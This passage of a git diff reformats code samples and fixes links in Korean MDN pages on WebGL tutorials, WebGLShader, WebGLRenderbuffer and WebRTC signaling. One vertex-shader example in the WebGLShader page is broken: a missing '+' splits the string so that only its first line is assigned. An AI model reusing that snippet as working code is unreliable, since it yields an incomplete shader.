+    gl.RGBA,
+    gl.UNSIGNED_BYTE,
+    videoElement,
+  );
 }
 ```
 
diff --git a/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md
index 6072f7c9a61890..894d5bb461f745 100644
--- a/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md
+++ b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.md
@@ -16,40 +16,22 @@ slug: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
 ```js
 var vertices = [
   // 앞면(Front face)
-  -1.0, -1.0,  1.0,
-   1.0, -1.0,  1.0,
-   1.0,  1.0,  1.0,
-  -1.0,  1.0,  1.0,
+  -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0, 1.0,
 
   // 뒤면(Back face)
-  -1.0, -1.0, -1.0,
-  -1.0,  1.0, -1.0,
-   1.0,  1.0, -1.0,
-   1.0, -1.0, -1.0,
+  -1.0, -1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, -1.0, -1.0,
 
   // 위면(Top face)
-  -1.0,  1.0, -1.0,
-  -1.0,  1.0,  1.0,
-   1.0,  1.0,  1.0,
-   1.0,  1.0, -1.0,
+  -1.0, 1.0, -1.0, -1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, -1.0,
 
   // 아래면(Bottom face)
-  -1.0, -1.0, -1.0,
-   1.0, -1.0, -1.0,
-   1.0, -1.0,  1.0,
-  -1.0, -1.0,  1.0,
+  -1.0, -1.0, -1.0, 1.0, -1.0, -1.0, 1.0, -1.0, 1.0, -1.0, -1.0, 1.0,
 
   // 오른쪽면(Right face)
-   1.0, -1.0, -1.0,
-   1.0,  1.0, -1.0,
-   1.0,  1.0,  1.0,
-   1.0, -1.0,  1.0,
+  1.0, -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0,
 
   // 왼쪽면(Left face)
-  -1.0, -1.0, -1.0,
-  -1.0, -1.0,  1.0,
-  -1.0,  1.0,  1.0,
-  -1.0,  1.0, -1.0
+  -1.0, -1.0, -1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, -1.0,
 ];
 ```
 
@@ -59,27 +41,31 @@ var vertices = [
 
 ```js
 var colors = [
-  [1.0,  1.0,  1.0,  1.0],    // 앞면 : 흰색
-  [1.0,  0.0,  0.0,  1.0],    // 뒤면 : 빨간색
-  [0.0,  1.0,  0.0,  1.0],    // 위면 : 녹색
-  [0.0,  0.0,  1.0,  1.0],    // 아래면 : 파란색
-  [1.0,  1.0,  0.0,  1.0],    // 오른쪽면 : 노란색
-  [1.0,  0.0,  1.0,  1.0]     // 왼쪽면 : 보라색
+  [1.0, 1.0, 1.0, 1.0], // 앞면 : 흰색
+  [1.0, 0.0, 0.0, 1.0], // 뒤면 : 빨간색
+  [0.0, 1.0, 0.0, 1.0], // 위면 : 녹색
+  [0.0, 0.0, 1.0, 1.0], // 아래면 : 파란색
+  [1.0, 1.0, 0.0, 1.0], // 오른쪽면 : 노란색
+  [1.0, 0.0, 1.0, 1.0], // 왼쪽면 : 보라색
 ];
 
 var generatedColors = [];
 
-for (j=0; j<6; j++) {
+for (j = 0; j < 6; j++) {
   var c = colors[j];
 
-  for (var i=0; i<4; i++) {
+  for (var i = 0; i < 4; i++) {
     generatedColors = generatedColors.concat(c);
   }
 }
 
 cubeVerticesColorBuffer = gl.createBuffer();
 gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
-gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+gl.bufferData(
+  gl.ARRAY_BUFFER,
+  new Float32Array(generatedColors),
+  gl.STATIC_DRAW,
+);
 ```
 
 ## 인덱스 배열 정의
@@ -98,18 +84,51 @@ gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
 // 하나의 면을 나타낸다는 의미입니다.
 
 var cubeVertexIndices = [
-  0,  1,  2,      0,  2,  3,    // front
-  4,  5,  6,      4,  6,  7,    // back
-  8,  9,  10,     8,  10, 11,   // top
-  12, 13, 14,     12, 14, 15,   // bottom
-  16, 17, 18,     16, 18, 19,   // right
-  20, 21, 22,     20, 22, 23    // left
+  0,
+  1,
+  2,
+  0,
+  2,
+  3, // front
+  4,
+  5,
+  6,
+  4,
+  6,
+  7, // back
+  8,
+  9,
+  10,
+  8,
+  10,
+  11, // top
+  12,
+  13,
+  14,
+  12,
+  14,
+  15, // bottom
+  16,
+  17,
+  18,
+  16,
+  18,
+  19, // right
+  20,
+  21,
+  22,
+  20,
+  22,
+  23, // left
 ];
 
 // 인덱스 배열을 GL에 전달
 
-gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
-    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+gl.bufferData(
+  gl.ELEMENT_ARRAY_BUFFER,
+  new Uint16Array(cubeVertexIndices),
+  gl.STATIC_DRAW,
+);
 ```
 
 `cubeVertexIndices` 배열은 정육면체 정점 배열의 인덱스값을 원소로 가지며, 각 인덱스 값에 해당하는 정점을 순서대로 세 개씩 묶어서 하나의 삼각형을 구성하고, 삼각형 두 개를 순서대로 묶어서 하나의 면으로 정의합니다. 따라서 6개의 면을 가진 정육면체는 12개의 삼각형의 조합으로 표현할 수 있습니다.
diff --git a/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md
index 2c739551b085aa..0df7744778f57b 100644
--- a/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md
+++ b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.md
@@ -16,7 +16,8 @@ WebGL을 사용하여 3D 렌더링을 하는 데 첫 번째로 필요한 것은
 ```html
 <body onload="start()">
   <canvas id="glcanvas" width="640" height="480">
-    Your browser doesn't appear to support the HTML5 <code>&lt;canvas&gt;</code> element.
+    Your browser doesn't appear to support the HTML5
+    <code>&lt;canvas&gt;</code> element.
   </canvas>
 </body>
 ```
@@ -31,15 +32,15 @@ var gl; // A global variable for the WebGL context
 function start() {
   var canvas = document.getElementById("glcanvas");
 
-  gl = initWebGL(canvas);      // Initialize the GL context
+  gl = initWebGL(canvas); // Initialize the GL context
 
   // Only continue if WebGL is available and working
 
   if (gl) {
-    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // Set clear color to black, fully opaque
-    gl.enable(gl.DEPTH_TEST);                               // Enable depth testing
-    gl.depthFunc(gl.LEQUAL);                                // Near things obscure far things
-    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // Clear the color as well as the depth buffer.
+    gl.clearColor(0.0, 0.0, 0.0, 1.0); // Set clear color to black, fully opaque
+    gl.enable(gl.DEPTH_TEST); // Enable depth testing
+    gl.depthFunc(gl.LEQUAL); // Near things obscure far things
+    gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); // Clear the color as well as the depth buffer.
   }
 }
 ```
@@ -63,8 +64,7 @@ function initWebGL(canvas) {
   try {
     // Try to grab the standard context. If it fails, fallback to experimental.
     gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
-  }
-  catch(e) {}
+  } catch (e) {}
 
   // If we don't have a GL context, give up now
   if (!gl) {
diff --git a/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.md b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.md
index 367a4eab0cf402..3b7e22ae25fdeb 100644
--- a/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.md
+++ b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.md
@@ -38,43 +38,29 @@ gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
 
 var vertexNormals = [
   // 앞
-   0.0,  0.0,  1.0,
-   0.0,  0.0,  1.0,
-   0.0,  0.0,  1.0,
-   0.0,  0.0,  1.0,
+  0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0,
 
   // 뒤
-   0.0,  0.0, -1.0,
-   0.0,  0.0, -1.0,
-   0.0,  0.0, -1.0,
-   0.0,  0.0, -1.0,
+  0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0,
 
   // 위
-   0.0,  1.0,  0.0,
-   0.0,  1.0,  0.0,
-   0.0,  1.0,  0.0,
-   0.0,  1.0,  0.0,
+  0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0,
 
   // 아래
-   0.0, -1.0,  0.0,
-   0.0, -1.0,  0.0,
-   0.0, -1.0,  0.0,
-   0.0, -1.0,  0.0,
+  0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0,
 
   // 오른쪽
-   1.0,  0.0,  0.0,
-   1.0,  0.0,  0.0,
-   1.0,  0.0,  0.0,
-   1.0,  0.0,  0.0,
+  1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0,
 
   // 왼쪽
-  -1.0,  0.0,  0.0,
-  -1.0,  0.0,  0.0,
-  -1.0,  0.0,  0.0,
-  -1.0,  0.0,  0.0
+  -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0,
 ];
 
-gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+gl.bufferData(
+  gl.ARRAY_BUFFER,
+  new WebGLFloatArray(vertexNormals),
+  gl.STATIC_DRAW,
+);
 ```
 
 이런 배열의 처리는 앞 단원에서 여러 번 다뤄왔으므로 이젠 꽤 친숙해 보일 것입니다. 새로운 버퍼를 생성하고, 버퍼와 법선 배열을 바인딩하고, `bufferData()`를 호출해서 법선 배열을 버퍼에 전달합니다.
@@ -92,7 +78,11 @@ gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
 var normalMatrix = mvMatrix.inverse();
 normalMatrix = normalMatrix.transpose();
 var nUniform = gl.getUniformLocation(shaderProgram, "uNormalMatrix");
-gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+gl.uniformMatrix4fv(
+  nUniform,
+  false,
+  new WebGLFloatArray(normalMatrix.flatten()),
+);
 ```
 
 ## 셰이더 수정
diff --git a/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md
index f322d86c47f508..67a800378951bf 100644
--- a/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md
+++ b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.md
@@ -19,7 +19,9 @@ slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
 function initTextures() {
   cubeTexture = gl.createTexture();
   cubeImage = new Image();
-  cubeImage.onload = function() { handleTextureLoaded(cubeImage, cubeTexture); }
+  cubeImage.onload = function () {
+    handleTextureLoaded(cubeImage, cubeTexture);
+  };
   cubeImage.src = "cubetexture.png";
 }
 
@@ -27,7 +29,11 @@ function handleTextureLoaded(image, texture) {
   gl.bindTexture(gl.TEXTURE_2D, texture);
   gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
   gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
-  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+  gl.texParameteri(
+    gl.TEXTURE_2D,
+    gl.TEXTURE_MIN_FILTER,
+    gl.LINEAR_MIPMAP_NEAREST,
+  );
   gl.generateMipmap(gl.TEXTURE_2D);
   gl.bindTexture(gl.TEXTURE_2D, null);
 }
@@ -71,39 +77,24 @@ gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
 
 var textureCoordinates = [
   // 앞
-  0.0,  0.0,
-  1.0,  0.0,
-  1.0,  1.0,
-  0.0,  1.0,
+  0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0,
   // 뒤
-  0.0,  0.0,
-  1.0,  0.0,
-  1.0,  1.0,
-  0.0,  1.0,
+  0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0,
   // 위
-  0.0,  0.0,
-  1.0,  0.0,
-  1.0,  1.0,
-  0.0,  1.0,
+  0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0,
   // 아래
-  0.0,  0.0,
-  1.0,  0.0,
-  1.0,  1.0,
-  0.0,  1.0,
+  0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0,
   // 오른쪽
-  0.0,  0.0,
-  1.0,  0.0,
-  1.0,  1.0,
-  0.0,  1.0,
+  0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0,
   // 왼쪽
-  0.0,  0.0,
-  1.0,  0.0,
-  1.0,  1.0,
-  0.0,  1.0
+  0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0,
 ];
 
-gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(textureCoordinates),
-              gl.STATIC_DRAW);
+gl.bufferData(
+  gl.ARRAY_BUFFER,
+  new WebGLFloatArray(textureCoordinates),
+  gl.STATIC_DRAW,
+);
 ```
 
 먼저 각 면의 텍스쳐 좌표를 저장할 GL 버퍼를 생성하고, 텍스쳐 좌표 배열에 바인딩 합니다.
diff --git a/files/ko/web/api/webglrenderbuffer/index.md b/files/ko/web/api/webglrenderbuffer/index.md
index 2ba709fdec90bd..7cc99310180279 100644
--- a/files/ko/web/api/webglrenderbuffer/index.md
+++ b/files/ko/web/api/webglrenderbuffer/index.md
@@ -2,6 +2,7 @@
 title: WebGLRenderbuffer
 slug: Web/API/WebGLRenderbuffer
 ---
+
 {{APIRef("WebGL")}}
 
 **WebGLRenderbuffer** 인터페이스는 [WebGL API](/ko/docs/Web/API/WebGL_API) 의 부분입니다. 그리고 이미지를 담거나 렌더링 연산의 소스나 타겟이 될 수 있는 버퍼를 말합니다.
@@ -20,8 +21,8 @@ slug: Web/API/WebGLRenderbuffer
 ### 렌더 버퍼 만들기
 
 ```js
-var canvas = document.getElementById('canvas');
-var gl = canvas.getContext('webgl');
+var canvas = document.getElementById("canvas");
+var gl = canvas.getContext("webgl");
 var buffer = gl.createRenderbuffer();
 ```
 
diff --git a/files/ko/web/api/webglshader/index.md b/files/ko/web/api/webglshader/index.md
index f09679d0629b91..d67b3cb235db5d 100644
--- a/files/ko/web/api/webglshader/index.md
+++ b/files/ko/web/api/webglshader/index.md
@@ -2,6 +2,7 @@
 title: WebGLShader
 slug: Web/API/WebGLShader
 ---
+
 {{APIRef("WebGL")}}**WebGLShader** 는 [WebGL API](/ko/docs/Web/API/WebGL_API) 의 일부이며 정점 혹은 프래그먼트 셰이더가 될 수 있다. {{domxref("WebGLProgram")}} 는 두 타입의 셰이더 모두를 요구한다.
 
 ## 설명
@@ -9,14 +10,14 @@ slug: Web/API/WebGLShader
 **WebGLShader** 를 생성하려면 {{domxref("WebGLRenderingContext.createShader")}}를 사용한다. 그러고 나서는 {{domxref("WebGLRenderingContext.shaderSource()")}}를 사용해서 GLSL 소스 코드를 연결한다. 마지막으로{{domxref("WebGLRenderingContext.compileShader()")}}를 호출하고 셰이더를 컴파일한다. 이 시점에서 **WebGLShader** 는 여전히 사용할 수 있는 형식은 아니고{{domxref("WebGLProgram")}}에 부착되어야 한다.
 
 ```js
-function createShader (gl, sourceCode, type) {
+function createShader(gl, sourceCode, type) {
   // 셰이더 타입 gl.VERTEX_SHADER 또는 gl.FRAGMENT_SHADER 중 하나를 컴파일한다.
-  var shader = gl.createShader( type );
-  gl.shaderSource( shader, sourceCode );
-  gl.compileShader( shader );
+  var shader = gl.createShader(type);
+  gl.shaderSource(shader, sourceCode);
+  gl.compileShader(shader);
 
-  if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) {
-    var info = gl.getShaderInfoLog( shader );
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+    var info = gl.getShaderInfoLog(shader);
     throw "Could not compile WebGL program. \n\n" + info;
   }
 }
@@ -31,26 +32,21 @@ function createShader (gl, sourceCode, type) {
 셰이더 소스 코드 문자열들을 작성하고 접근하는 많은 다른 방법들이 있다는 점에 주목하라. 여기의 예는 오직 설명을 목적으로 한다.
 
 ```js
-var vertexShaderSource =
-  "attribute vec4 position;\n"
-  "void main() {\n"+
-  "  gl_Position = position;\n"+
-  "}\n";
+var vertexShaderSource = "attribute vec4 position;\n";
+"void main() {\n" + "  gl_Position = position;\n" + "}\n";
 
 // 위 예시로부터 createShader 함수를 사용한다.
-var vertexShader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER)
+var vertexShader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER);
 ```
 
 ### 프래그먼트 셰이더 생성하기
 
 ```js
 var fragmentShaderSource =
-  "void main() {\n"+
-  "  gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n"+
-  "}\n";
+  "void main() {\n" + "  gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n" + "}\n";
 
 // 위 예시로부터 createShader 함수를 사용한다.
-var fragmentShader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER)
+var fragmentShader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER);
 ```
 
 ## 명세
diff --git a/files/ko/web/api/webrtc_api/index.md b/files/ko/web/api/webrtc_api/index.md
index 89bcde0342b2c5..6f80a0784db303 100644
--- a/files/ko/web/api/webrtc_api/index.md
+++ b/files/ko/web/api/webrtc_api/index.md
@@ -2,6 +2,7 @@
 title: WebRTC API
 slug: Web/API/WebRTC_API
 ---
+
 {{APIRef("WebRTC")}}
 
 **WebRTC**(Web Real-Time Communication)은 웹 애플리케이션과 사이트가 중간자 없이 브라우저 간에 오디오나 영상 미디어를 포착하고 마음대로 스트림할 뿐 아니라, 임의의 데이터도 교환할 수 있도록 하는 기술입니다. WebRTC를 구성하는 일련의 표준들은 플러그인이나 제 3자 소프트웨어 설치 없이 종단 간 데이터 공유와 화상 회의를 가능하게 합니다.
@@ -59,7 +60,7 @@ WebRTC는 다양한 작업을 수행하기 위해 함께 동작하는 인터페
 - {{domxref("RTCTrackEvent")}}
   - : 새롭게 수신된 {{domxref ( "MediaStreamTrack")}}이 생성되고 관련 {{domxref ( "RTCRtpReceiver")}} 개체가 {{domxref ( "RTCPeerConnection")}} 개체에 추가되었음을 나타냅니다.
 - {{DOMxRef("RTCSctpTransport")}}
-  - : 스트림 제어 전송 프로토콜(_Stream Control Transmission Protocol,_ **{{Glossary("SCTP")}}**) 전송을 설명하는 정보를 제공하고, 모든 [`RTCPeerConnection`](/en-US/docs/Web/API/RTCPeerConnection) 데이터 채널에 대한 SCTP 패킷이 송수신되는 기본 데이터그램 전송 보안 계층 프로토콜(Datagram Transport Layer Security, **{{Glossary("DTLS")}}**) 전송에 접근하기 위한 방법을 제공합니다.
+  - : 스트림 제어 전송 프로토콜(_Stream Control Transmission Protocol,_ **{{Glossary("SCTP")}}**) 전송을 설명하는 정보를 제공하고, 모든 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection) 데이터 채널에 대한 SCTP 패킷이 송수신되는 기본 데이터그램 전송 보안 계층 프로토콜(Datagram Transport Layer Security, **{{Glossary("DTLS")}}**) 전송에 접근하기 위한 방법을 제공합니다.
 
 #### Dictionaries
 
diff --git a/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.md b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.md
index c4ec5de80f41e0..ab8f5d39e96a7f 100644
--- a/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.md
+++ b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.md
@@ -10,7 +10,7 @@ slug: Web/API/WebRTC_API/Signaling_and_video_calling
 
 ## Summary
 
-[WebRTC](/ko/docs/Web/API/WebRTC_API) 는 리얼 타임 음성, 영상, 데이터 교환을 할 수 있는 완전한 p2p 기술이다. [다른 곳에서 논의한 것 처럼](/en-US/docs/Web/API/WebRTC_API/Session_lifetime#establishing_a_connection) 서로 다른 네트워크에 있는 2개의 디바이스들을 서로 위치시키기 위해서는, 각 디바이스들의 위치를 발견하는 방법과 미디어 포맷 협의가 필요하다. 이 프로세스를 **시그널링** **signaling** 이라 부르고 각 디바이스들을 상호간에 동의된 서버(socket.io 혹은 websocket을 이용한 서버)에 연결시킨다. 이 서버는 각 디바이스들이 **negotiation**(협의) 메세지들을 교환할 수 있도록 한다.
+[WebRTC](/ko/docs/Web/API/WebRTC_API) 는 리얼 타임 음성, 영상, 데이터 교환을 할 수 있는 완전한 p2p 기술이다. [다른 곳에서 논의한 것 처럼](/ko/docs/Web/API/WebRTC_API/Session_lifetime#establishing_a_connection) 서로 다른 네트워크에 있는 2개의 디바이스들을 서로 위치시키기 위해서는, 각 디바이스들의 위치를 발견하는 방법과 미디어 포맷 협의가 필요하다. 이 프로세스를 **시그널링** **signaling** 이라 부르고 각 디바이스들을 상호간에 동의된 서버(socket.io 혹은 websocket을 이용한 서버)에 연결시킨다. 이 서버는 각 디바이스들이 **negotiation**(협의) 메세지들을 교환할 수 있도록 한다.
 
 이 글에서 우리는 더 나아가 유저들간에 양방향으로 화상 통화가 되는 예제인 [WebSocket chat](https://mdn-samples.mozilla.org/s/websocket-chat)(웹소켓 문서를 작성하기 위해 만들어졌으며, 링크는 곧 활성화 될 것이다. 아직은 온라인으로 테스트가 불가능하다.)을 작동이 되도록 만들 예정이다. 이것에 관해 [샘플](https://mdn-samples.mozilla.org/s/webrtc-from-chat) 을 확인해 보거나 Github에서 전체 [프로젝트](https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat)를 확인해볼 수 있다.
 
@@ -22,13 +22,13 @@ slug: Web/API/WebRTC_API/Signaling_and_video_calling
 
 두 디바이스들 사이에 WebRTC 커넥션을 만들기 위해, 인터넷 네트워크에서 그 둘을 연결 시키는 작업을 해줄 **signaling server** 가 필요하다. 어떻게 이 서버를 만들고 실제로 시그널링 과정이 어떻게 되는지 살펴보자.
 
-가장 먼저, 시그널링 서버 자체가 필요하다. WebRTC는 시그널링 정보에 관한 transport 메커니즘을 제시하진 않는다. 두 피어들 사이에서 해리포터의 부엉이처럼 시그널링에 관련된 정보들을 전달해줄 수 있는 것이면 [WebSocket](/en-US/docs/Web/API/WebSockets_API) 이든 [XMLHttpRequest](/ko/docs/Web/API/XMLHttpRequest) 든 상관없다.
+가장 먼저, 시그널링 서버 자체가 필요하다. WebRTC는 시그널링 정보에 관한 transport 메커니즘을 제시하진 않는다. 두 피어들 사이에서 해리포터의 부엉이처럼 시그널링에 관련된 정보들을 전달해줄 수 있는 것이면 [WebSocket](/ko/docs/Web/API/WebSockets_API) 이든 [XMLHttpRequest](/ko/docs/Web/API/XMLHttpRequest) 든 상관없다.
 
 여기서 중요한 점은 시그널링 서버는 시그널링 데이터 내용을 몰라도 된다는 것이다. 비록 이것은 [SDP](https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#) 이지만, 몰라도 큰 문제가 되진 않는다. 메세지의 내용들은 그저 시그널링 서버를 통해 상대편으로 가기만 하면된다. 중요한 점은 ICE subsystem이 신호 데이터를 다른 피어에게 보내도록 지시하면, 다른 피어는 이 정보를 수신하여 자체 ICE subsystem에 전달하는 방법을 알고 있다는 것이다.
 
 ### Readying the chat server for signaling
 
-이 [chat server](https://github.com/mdn/samples-server/tree/master/s/websocket-chat) 는 클라이언트와 서버 사이에 [WebSocket API](/en-US/docs/Web/API/WebSockets_API)을 통해 JSON string으로 데이터를 전송한다. 서버는 새로운 유저를 등록하는 것, username을 세팅하는 것, 채팅 메세지를 전송하는 것 등등의 작업들을 하기 위해 다양한 메세지 타입들을 다룬다. 시그널링과 ICE negotiation 을 서버가 처리하기 위해서 코드를 작성해야한다. 모든 로그인된 유저들에게 브로드캐스팅하는 것이 아니라, 특정한 유저에게 직접 메세지를 전달해야한다. 그리고 서버가 따로 처리할 필요 없이, 수신된 원하지 않은 메세지 타입들을 처리한다. 이를 통해 여러 서버를 만들 필요없이 동일한 서버를 이용하여 시그널 메시지를 보낼 수 있다. 이 개념은 WebRTC가 아니라 WebSocket에 관한 개념이다.
+이 [chat server](https://github.com/mdn/samples-server/tree/master/s/websocket-chat) 는 클라이언트와 서버 사이에 [WebSocket API](/ko/docs/Web/API/WebSockets_API)을 통해 JSON string으로 데이터를 전송한다. 서버는 새로운 유저를 등록하는 것, username을 세팅하는 것, 채팅 메세지를 전송하는 것 등등의 작업들을 하기 위해 다양한 메세지 타입들을 다룬다. 시그널링과 ICE negotiation 을 서버가 처리하기 위해서 코드를 작성해야한다. 모든 로그인된 유저들에게 브로드캐스팅하는 것이 아니라, 특정한 유저에게 직접 메세지를 전달해야한다. 그리고 서버가 따로 처리할 필요 없이, 수신된 원하지 않은 메세지 타입들을 처리한다. 이를 통해 여러 서버를 만들 필요없이 동일한 서버를 이용하여 시그널 메시지를 보낼 수 있다. 이 개념은 WebRTC가 아니라 WebSocket에 관한 개념이다.
 
 이제, WebRTC 시그널링을 지원하는 chat server를 만들기 위해 어떻게 해야하는지 보자. 앞으로 나오는 코드들은 [chatserver.js](https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js) 안에 있는 코드이다.
 
@@ -39,7 +39,7 @@ function sendToOneUser(target, msgString) {
   var isUnique = true;
   var i;
 
-  for (i=0; i<connectionArray.length; i++) {
+  for (i = 0; i < connectionArray.length; i++) {
     if (connectionArray[i].username === target) {
       connectionArray[i].sendUTF(msgString);
       break;
@@ -62,7 +62,7 @@ if (sendToClients) {
   if (msg.target && msg.target !== undefined && msg.target.length !== 0) {
     sendToOneUser(msg.target, msgString);
   } else {
-    for (i=0; i<connectionArray.length; i++) {
+    for (i = 0; i < connectionArray.length; i++) {
       connectionArray[i].sendUTF(msgString);
     }
   }
@@ -81,7 +81,7 @@ if (sendToClients) {
 
 #### Exchanging session descriptions
 
-시그널링 프로세스를 시작할 때, call을 시작 하는 유저가 ***offer** *란 것을 만든다. 이 offer는 세션 정보를 SDP 포맷으로 가지고 있으며, 커넥션이 이어지기를 원하는 유저(callee)에게 전달되어야 한다. Callee 는 이 offer에 SDP description을 포함하는 ***answer** *메세지를 보내야한다. 우리가 사용할 offer 메세지들은 `"video-offer"` 이라는 타입을 사용할 것이고 answer 메세지들은 `"video-answer"` 타입의 메세지를 사용할 것이다. 이 메세지들은 아래와 같은 field를 가진다.
+시그널링 프로세스를 시작할 때, call을 시작 하는 유저가 **\*offer** \*란 것을 만든다. 이 offer는 세션 정보를 SDP 포맷으로 가지고 있으며, 커넥션이 이어지기를 원하는 유저(callee)에게 전달되어야 한다. Callee 는 이 offer에 SDP description을 포함하는 **\*answer** \*메세지를 보내야한다. 우리가 사용할 offer 메세지들은 `"video-offer"` 이라는 타입을 사용할 것이고 answer 메세지들은 `"video-answer"` 타입의 메세지를 사용할 것이다. 이 메세지들은 아래와 같은 field를 가진다.
 
 - `type`
   - : 메세지의 타입이라; `"video-offer"` 또는 `"video-answer"`.
@@ -150,15 +150,13 @@ Naomi와 Priya는 채팅 소프트웨어를 사용해 대화에 참여했고 Nao
 클라이언트는 비디오를 표시할 공간이 필요하다. 2개의 video와 전화를 걸 button 을 정의한 HTML 코드이다.
 
 ```html
-      <div class="flexChild" id="camera-container">
-        <div class="camera-box">
-          <video id="received_video" autoplay></video>
-          <video id="local_video" autoplay muted></video>
-          <button id="hangup-button" onclick="hangUpCall();" disabled>
-            Hang Up
-          </button>
-        </div>
-      </div>
+<div class="flexChild" id="camera-container">
+  <div class="camera-box">
+    <video id="received_video" autoplay></video>
+    <video id="local_video" autoplay muted></video>
+    <button id="hangup-button" onclick="hangUpCall();" disabled>Hang Up</button>
+  </div>
+</div>
 ```
 
 위에 있는 page structure은 [`<div>`](/ko/docs/Web/HTML/Element/div)태그를 이용하고 CSS 사용을 허용함으로써 페이지 레이아웃 전체를 구성한다. 여기서는 레이아웃에 관한 자세한 내용은 스킵하지만, 위의 코드가 어떻게 돌아가는지 확인해보자. [take a look at the CSS](https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#) on Github. 두개의 [`<video>`](/ko/docs/Web/HTML/Element/Video) 중 하나는 너의 self video이고 다른 하나는 상대방의 video를 위한 요소이다.
@@ -183,7 +181,7 @@ function sendToServer(msg) {
 }
 ```
 
-전달된 메세지 object는 [`JSON.stringify()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)함수에 의해 JSON string으로 바뀐다. 그 후, WebSocket 커넥션의 [`send()`](/en-US/docs/Web/API/WebSocket/send)함수를 통해 서버로 전달된다.
+전달된 메세지 object는 [`JSON.stringify()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)함수에 의해 JSON string으로 바뀐다. 그 후, WebSocket 커넥션의 [`send()`](/ko/docs/Web/API/WebSocket/send)함수를 통해 서버로 전달된다.
 
 #### UI to start a call
 
@@ -230,7 +228,7 @@ function handleUserlistMsg(msg) {
 ```js
 var mediaConstraints = {
   audio: true, // We want an audio track
-  video: true // ...and we want a video track
+  video: true, // ...and we want a video track
 };
 
